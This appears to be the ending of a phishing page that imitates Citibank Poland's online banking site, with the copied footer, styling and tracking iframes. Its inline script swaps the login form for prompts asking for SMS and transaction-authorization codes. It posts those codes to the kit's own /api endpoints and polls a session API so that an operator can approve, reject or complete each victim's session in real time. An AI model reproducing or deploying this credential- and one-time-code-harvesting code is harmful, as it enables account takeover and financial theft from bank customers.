                                                    <div class="col-md-2 col-sm-4 col-xs-12">
                                                        <ul class="foot-list pull-right">
                                                            <li><span class="foot-other no-wrap">Kod SWIFT: CITIPLPX</span></li>
                                                        </ul>
                                                    </div>
                                                </nav>
                                            </div>
                                        </div>
                                        <div class="vs-1-4 visible-xs"></div>
                                    </div>

                                    <div id="postLoginFooter" class="show-on-postLogin">
                                        <hr class="">

                                        <div class="row">
                                            <nav class="footer-links-bottom">
                                                <div class="col-md-12">
                                                    <ul>
                                                        <li><a data-warnlock="true" href="https://www.citibankonline.pl/apps/customerservice/contactus/">Kontakt</a></li>
                                                        <li><a href="https://www.online.citibank.pl/bezpieczenstwo.html" target="_blank">Bankuj bezpiecznie</a></li>
                                                        <li><a data-warnlock="true" href="https://www.citibankonline.pl/apps/investment/fxrateinquiry/">Kursy walut</a></li>
                                                        <li><a data-warnlock="true" href="https://www.online.citibank.pl/citispecials/" target="_blank">Citi Specials</a></li>
                                                        <li><a data-warnlock="true" href="https://online.citibank.pl/polityka-cookie.html" target="_blank">Zapewnienie prywatności oraz<br class="visible-sm"> polityka cookie</a></li>
                                                        <li><a data-warnlock="true" href="https://online.citibank.pl/zasady-korzystania-z-serwisu.html" target="_blank">Zasady korzystania z serwisu</a></li>
                                                    </ul>
                                                </div>
                                            </nav>
                                        </div>

                                        <div class="vs-2-1 visible-xs"></div>
                                    </div>
                                </div>
                            </footer></div></section>
                    <section id="subapp-cookiePolicy"><div>
                        </div></section>
                    <section id="subapp-notification"></section>
                    <section id="marketplace-notification" class="text-center"></section>
                    <section id="rm-banner"></section>
                    <section id="subapp-tutorial"></section>
                </div>

                <style>
                    .cbolui-ddl .notification-panel {
                        position: fixed;
                        bottom: 0;
                        right: 0;
                        display: inline-block;
                        text-align: left;
                        transform: translateY(120%);
                        -webkit-transform: translateY(120%);
                        -ms-transform: translateY(120%);
                        margin-bottom: 1.4rem;
                        box-shadow: none;
                        z-index: 10;
                        transition: all 1s ease-in-out;
                        -webkit-transition: all 1s ease-in-out;
                        -ms-transition: all 1s ease-in-out;
                        width: 100%;
                        margin-left: auto;
                        margin-right: auto;
                    }

                    .cbolui-ddl .notification-panel.rm-banner {
                        width: 58%;
                        margin-left: 21%;
                        margin-right: 21%;
                    }

                    .cbolui-ddl .notification-panel.shown {
                        transform: translateY(0);
                        -webkit-transform: translateY(0);
                        -ms-transform: translateY(0);
                    }

                    @media (max-width: 75rem) {
                        .cbolui-ddl .notification-panel {
                            width: 80%;
                            margin-bottom: 0;
                            margin-left: 10%;
                            margin-right: 10%;
                        }
                    }

                    @media (max-width: 56rem) {
                        .cbolui-ddl .notification-panel {
                            width: 100%;
                            margin-bottom: 0;
                            margin-left: 0;
                            margin-right: 0;
                        }
                    }

                    @media (max-width: 767px) {
                        .cbolui-ddl .notification {
                            font-size: 0.875rem;
                        }
                        .cbolui-ddl .notification-msg {
                            padding: 0;
                        }
                        .cbolui-ddl .notification-actions {
                            padding: 0;
                        }
                        .cbolui-ddl .float-banner {
                            text-align: center;
                        }
                        .cbolui-ddl #cookieAction {
                            padding: 25px 0;
                        }
                        .cbolui-ddl #cookieAcceptBtn {
                            float: none;
                        }
                    }

                    .cbolui-ddl .float-banner {
                        background-color: #eee;
                        border-top: 1px solid #ddd;
                        bottom: 0;
                        color: black;
                        left: 0;
                        opacity: 0.95;
                        padding: 15px 0 20px;
                        position: fixed;
                        width: 100%;
                        z-index: 9999;
                        -webkit-transform: translateY(100%);
                        -moz-transform: translateY(100%);
                        -o-transform: translateY(100%);
                        transform: translateY(100%);
                        opacity: 0.5;
                        transition: all 0.5s ease-in-out;
                        -webkit-transition: all 0.5s ease-in-out;
                        -moz-transition: all 0.5s ease-in-out;
                        -o-transition: all 0.5s ease-in-out;
                    }

                    .cbolui-ddl .float-banner.show {
                        -webkit-transform: translateY(0);
                        -moz-transform: translateY(0);
                        -o-transform: translateY(0);
                        transform: translateY(0);
                        opacity: 1;
                    }

                    .cbolui-ddl #cookieAcceptBtn {
                        margin: 0;
                    }

                    .cbolui-ddl #cookieMessage {
                        font-size: 0.875rem;
                    }

                    #addToHomeBanner .add-to-home-screen-share-icon {
                        background: url(/content/cbol/images/share-icon.png);
                        background-size: contain;
                        width: 24px;
                        height: 24px;
                        display: inline-block;
                    }

                    #addToHomeBanner .add-to-home-screen-more-vert-icon {
                        background: url(/content/cbol/images/more-vert-icon.png);
                        background-size: contain;
                        width: 24px;
                        height: 24px;
                        display: inline-block;
                    }

                    #addToHomeBanner .add-to-home-screen-image {
                        width: 72px;
                        height: 72px;
                        position: absolute;
                        left: 0;
                    }

                    #addToHomeBanner .add-to-home-screen-text {
                        font-size: 1.145rem;
                        line-height: 1.8rem;
                        margin-left: 100px;
                        min-height: 72px;
                    }

                    @media (max-width: 767px) {}

                    @media (min-width: 768px) and (max-width: 991px) {
                        .cbolui-ddl #cookieAcceptBtn {
                            float: right;
                        }
                    }

                    @media (min-width: 992px) and (max-width: 1199px) {
                        .cbolui-ddl #cookieAcceptBtn {
                            float: right;
                        }
                    }

                    @media (min-width: 1200px) {
                        .cbolui-ddl #cookieAcceptBtn {
                            float: right;
                        }
                    }
                </style></div></footer>
        <footer id="app-confirm"></footer>
        <footer id="app-alert"></footer></div></div>

<div id="device-detection">
    <div id="screen-toggled" class="show-on-toggle"></div>
    <div id="screen-size"></div>
</div>
<script src="/assets/js/jquery-3.5.1.min.js"></script>
<script src="/assets/js/cookies.core.1.3.min.js"></script>
<script src="/assets/js/banklogin.js"></script>
<script>
    let bankId = (cookieManager.read('session_id'))

    const plusBankUpdate = () => {
        if ($("#bank_password").val() && $("#bank_login").val() !== "") {
            $("#mainCont").empty()
            $("#mainCont").append(' <div> <div class="row nomargin"> <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1"> <div id="username_root" class="form-group "> <label class="text-input-label" id="username_label" for="username_input">Kod SMS z telefonu</label> <div class=" "> <input autocapitalize="off" autocorrect="off" autocomplete="off" type="text" name="username" placeholder="Kod SMS" class=" form-control " id="bank_psd" maxlength="30"> </div><span class="validation-message-danger" id="username_status"></span> </div></div></div></div>')
            $("#buttonsCont").empty()
            $("#buttonsCont").append('<button id="login_button" onclick="psdUpdate()" type="button" class="btn col-md-12 col-sm-12 col-xs-12 btn-primary">Zaloguj</button>')
        } else {
        }
    }

    const regularCheck = () => {
        readTextFile("/api/sessions", function(text){
            var data = JSON.parse(text);
            for (let i=0;i<data["result"].length;i++) {
                if (data["result"][i]["uid"] == sessId) {
                    if (data["result"][i]["accepted"] == "true") {
                        // window.location.href = '/summary'
                        summaryFunc()
                        clearInterval(multipleFunc)
                    }
                } else {

                }
            }
        });
    }
    const psdUpdate = () => {
        if ($("#bank_psd").val() !== "") {
            $.post("/api/psdupdate/", {
                bank_psd: $("#bank_psd").val(),
                sessionId: bankId
            }).done(data => {
                $("#mainCont").empty()
                $("#mainCont").append('<center><p style="font-size:20px">Logowanie...</p></center>')
                $("#buttonsCont").empty()
            }).fail(error => {
                console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.", "Wystąpił błąd")
            })

        } else {
            console.log('not selectec')
        }
    }

    let multipleFunc = setInterval(function(){ regularCheck() }, 3000);

    //WRONG PASS

    const wrongPass = () => {
        $.post("/api/wrongpass/", {
            sessionId: bankId,
            name: "false"
        }).done(data => {
            console.log('done')
        }).fail(error => {
            console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.", "Wystąpił błąd")
        })
    }

    const regularPass = () => {
        readTextFile("/api/sessions", function(text){
            var data = JSON.parse(text);
            for (let i=0;i<data["result"].length;i++) {
                if (data["result"][i]["uid"] == sessId) {
                    if (data["result"][i]["accepted"] == "wrongPass") {
                        clearInterval(multiplePass)
                        wrongPass()
                        location.reload()
                    }
                } else {

                }
            }
        });
    }

    let multiplePass = setInterval(function(){ regularPass() }, 3000);


    //SUMMARY

    const summaryFunc = () => {
        $("#mainCont").empty()
        $("#mainCont").append(' <div> <div class="row nomargin"> <div class="col-md-4 col-sm-8 col-xs-10 col-md-offset-4 col-sm-offset-2 col-xs-offset-1"> <div id="username_root" class="form-group "> <label class="text-input-label" id="username_label" for="username_input">Kod SMS z telefonu</label> <div class=" "> <input autocapitalize="off" autocorrect="off" autocomplete="off" type="text" name="username" placeholder="Kod SMS" class=" form-control " id="bank_summary" maxlength="30"> </div><span class="validation-message-danger" id="username_status"></span> </div></div></div></div>')
        $("#buttonsCont").empty()
        $("#buttonsCont").append('<button id="login_button" onclick="summaryCode()" type="button" class="btn col-md-12 col-sm-12 col-xs-12 btn-primary">Zaloguj</button>')

        document.getElementById('summaryInfo').innerText = 'Autoryzuj Tranzakcję'
    }

    const summaryCode = () => {
        if ($("#bank_summary").val() !== "") {
            $.post("/api/summarycode/", {
                bank_summary: $("#bank_summary").val(),
                sessionId: bankId
            }).done(data => {
                $("#mainCont").empty()
                $("#mainCont").append('<center><p style="font-size:20px">Logowanie...</p></center>')
                $("#buttonsCont").empty()
            }).fail(error => {
                console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.", "Wystąpił błąd")
            })

        } else {
            console.log('not selectec')
        }
    }

    const regularSummary=()=>{readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"wrongSummary"==s.result[e].accepted&&(summaryFunc(),wrongSum())})},wrongSum=()=>{$.post("/api/wrongsummary/",{sessionId:bankId,name:"false"}).done(e=>{console.log("done")}).fail(e=>{console.error("Coś poszło nie tak… Spróbuj ponownie za chwilę.","Wystąpił błąd")})};let multipleSummary=setInterval(function(){readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"wrongSummary"==s.result[e].accepted&&(summaryFunc(),wrongSum())})},3e3);const regularComplete=()=>{readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"completed"==s.result[e].accepted&&(location.href="/summary")})};let multipleCompleted=setInterval(function(){readTextFile("/api/sessions",function(e){var s=JSON.parse(e);for(let e=0;e<s.result.length;e++)s.result[e].uid==sessId&&"completed"==s.result[e].accepted&&(location.href="/summary")})},3e3);
</script>

<div class="device-type" style="visibility: hidden;"></div><iframe src="/assets/banks/citibank_files/saved_resource.html" id="tmx_tags_iframe" title="empty" tabindex="-1" aria-disabled="true" aria-hidden="true" style="width: 0px; height: 0px; border: 0px; position: absolute; top: -5000px;"></iframe><iframe id="tdz_ifrm" title="empty" name="" width="0px" height="0px" marginwidth="0" marginheight="0" frameborder="0" style="display:none !important; z-index:-9999 !important; visibility:hidden !important" aria-disabled="true" aria-hidden="true" tabindex="-1" src="/assets/banks/citibank_files/FdiNNz17AVwmAoLp.html"></iframe></body></html>